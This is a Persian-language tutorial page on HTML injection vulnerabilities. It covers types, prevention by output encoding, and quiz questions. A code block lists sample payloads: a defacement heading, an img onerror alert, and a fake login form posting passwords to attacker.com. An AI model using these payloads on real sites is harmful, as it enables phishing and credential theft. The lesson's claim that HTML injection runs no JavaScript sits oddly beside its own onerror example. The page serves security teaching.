در حال بارگذاری...
تست آسیبپذیری تزریق HTML که در آن مهاجم میتواند کد HTML دلخواه را در صفحه وب تزریق کند.
اهداف این درس
تزریق HTML (HTML Injection) زمانی رخ میدهد که برنامه وب دادههای کاربر را بدون خروجیگیری مناسب در صفحه HTML نمایش دهد. مهاجم میتواند کد HTML دلخواه را تزریق کند.
نوعی آسیبپذیری که در آن مهاجم میتواند کد HTML دلخواه را در صفحه وب تزریق کند.
| نوع | توضیح | مثال |
|---|---|---|
| بازتابی | داده در پاسخ بازتاب داده میشود | جستجوی نتیجه |
| ذخیرهشده | داده در سرور ذخیره میشود | نظرات کاربران |
| مبتنی بر DOM | داده در DOM پردازش میشود | پارامترهای URL |
تمام نقاطی که داده کاربر در صفحه HTML نمایش داده میشود شناسایی کنید.
1<h1>Hacked</h1>2<a href='http://attacker.com'>Click me</a>3<img src=x onerror=alert(1)>4<form action='http://attacker.com'>5 <input name='password' type='password'>6 <input type='submit' value='Login'>7</form>هشدار
HTML Injection میتواند منجر به فیشینگ و سرقت اطلاعات حساس شود.
توصیه عملی
از توابع خروجیگیری داخلی فریمورکها استفاده کنید و هرگز داده کاربر را مستقیماً در HTML درج نکنید.
HTML Injection میتواند منجر به فیشینگ شود.
خروجیگیری مناسب مؤثرترین روش پیشگیری است.
تفاوت با XSS در عدم اجرای JavaScript است.
اعتبارسنجی ورودی لایه دفاعی اضافی است.
کدام مثال نمونهای از HTML Injection است؟
تفاوت HTML Injection و XSS چیست؟
در HTML Injection فقط کد HTML تزریق میشود، اما در XSS اسکریپت JavaScript هم اجرا میشود.
آیا HTML Injection خطرناک است؟
بله، میتواند منجر به فیشینگ، تغییر ظاهر صفحه و سرقت اطلاعات شود.